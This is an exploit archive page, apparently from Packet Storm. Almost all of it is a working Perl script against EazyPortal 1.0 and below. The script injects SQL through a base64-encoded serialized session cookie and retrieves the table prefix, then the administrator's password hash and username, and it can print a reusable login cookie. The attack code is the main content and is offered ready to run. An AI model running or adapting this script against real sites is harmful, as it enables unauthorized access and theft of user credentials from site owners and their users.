what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

eazyportal-sql.txt

eazyportal-sql.txt
Posted Feb 27, 2008
Authored by Ironfist | Site ironwarez.info

EazyPortal versions 1.0 and below cookie-related remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 6c1046f678e67358e818a20cf2f23d9ebebf4cf0185a4648c9571f3c08e52507

eazyportal-sql.txt

Change Mirror Download
#!/usr/bin/perl
#
# Vendor url: http://www.eazyportal.com/
#
# by Iron - http://www.randombase.com
#
# exploit goes through $_COOKIE
#
use LWP::UserAgent;
use MIME::Base64;

print "#
# EazyPortal <= 1.0 SQL Injection Exploit
# By Iron - www.randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/Portal/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
$target = "http://".$target;
}
if($target !~ /\/$/)
{
$target .= "/";
}
print "User id to retrieve name/password from? (1 = admin by default)";
chomp($target_id=<stdin>);
print "\n[+]Retrieving table prefix...";
@header = ('Cookie' => ' session_vars=YTo2OntzOjU6InVuYW1lIjtzOjEyOiInIEVSUk9SIFpPTUciO3M6NDoidXB3ZCI7czozMjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiO3M6MzoidWlkIjtzOjE6IjEiO3M6NDoidWdtdCI7czoyOiIrMCI7czoxMDoidWxhc3R2aXNpdCI7czoxMDoiMTIwNDA0NjIwNiI7czo0OiJwcml2IjthOjk6e3M6NDoibmV3cyI7czo0OiJuZXdzIjtzOjU6InBvbGxzIjtzOjI6InBvIjtzOjc6Im1haWxpbmciO3M6MjoibWEiO3M6NToicGFnZXMiO3M6MjoicGEiO3M6NToidXNlcnMiO3M6MjoidXMiO3M6ODoic2V0dGluZ3MiO3M6Mjoic2UiO3M6NToiZm9ydW0iO3M6MjoiZm8iO3M6NjoiYmxvY2tzIjtzOjI6ImJsIjtzOjg6ImRvd25sb2FkIjtzOjI6ImRvIjt9fQ==');
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
$response = $ua->get($target, @header);
if ($response->is_success)
{
#print $response->content;
if($response->content =~ /select \* from (.*)users where ustatus/i)
{
print "\n[+]Got prefix: $1";
$prefix = $1;
}
else
{
print "\n[-]Failed, trying empty prefix.";
$prefix = "";
}
}
else
{
die "Error: ".$response->status_line;
}
print "\n[+]Building cookie";
$query = "lalalalalala' UNION SELECT upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd,upwd FROM ".$prefix."users WHERE 1=1 AND uid ='".$target_id; #fucked up query but it works :)
$cookie = encode_base64('a:6:{s:5:"uname";s:'.length($query).':"'.$query.'";s:4:"upwd";s:17:"\' OR upwd != \'lol";s:3:"uid";s:1:"1";s:4:"ugmt";s:2:"+0";s:10:"ulastvisit";s:10:"1204046206";s:4:"priv";a:9:{s:4:"news";s:4:"news";s:5:"polls";s:2:"po";s:7:"mailing";s:2:"ma";s:5:"pages";s:2:"pa";s:5:"users";s:2:"us";s:8:"settings";s:2:"se";s:5:"forum";s:2:"fo";s:6:"blocks";s:2:"bl";s:8:"download";s:2:"do";}}');
$cookie =~ s/\n//g;
$logincookie = $cookie;
print "\n[+]Eating cookie :P";
print "\n[+]Retrieving password";
@header = ('Cookie' => 'session_vars='.$cookie);
$response = $ua->get($target, @header);
if ($response->is_success)
{
if($response->content =~ /([a-f0-9]{32})/i)
{
$p = $1;
}
else
{
print "\n[-]Exploit failed :'(";
exit;
}
}
else
{
die "Error: ".$response->status_line;
}
print "\n[+]Retrieving username";
$query = "lalalalalala' UNION SELECT uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname,uname FROM ".$prefix."users WHERE 1=1 AND uid ='".$target_id;
$cookie = encode_base64('a:6:{s:5:"uname";s:'.length($query).':"'.$query.'";s:4:"upwd";s:17:"\' OR upwd != \'lol";s:3:"uid";s:1:"1";s:4:"ugmt";s:2:"+0";s:10:"ulastvisit";s:10:"1204046206";s:4:"priv";a:9:{s:4:"news";s:4:"news";s:5:"polls";s:2:"po";s:7:"mailing";s:2:"ma";s:5:"pages";s:2:"pa";s:5:"users";s:2:"us";s:8:"settings";s:2:"se";s:5:"forum";s:2:"fo";s:6:"blocks";s:2:"bl";s:8:"download";s:2:"do";}}');
$cookie =~ s/\n//g;
@header = ('Cookie' => 'session_vars='.$cookie);
$response = $ua->get($target, @header);
if ($response->is_success)
{
if($response->content =~ />Log Out \((.*)\)<\/a>/i)
{
print "\n[+]Exploit succeeded!";
print "\n"."#" x 50 ."\n[+]Username: $1";
print "\n[+]Password: $p"."\n"."#" x 50;
}
else
{
print "\n[-]Exploit only got md5 pass :O";
print "\n[+]Password: $p";
}
# print "\n\n:[+]You can also login with this cookie:\n"."#" x 50 ."\n$logincookie\n"."#" x 50; #uncomment if you have troubles cracking the hash
}
else
{
die "Error: ".$response->status_line;
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close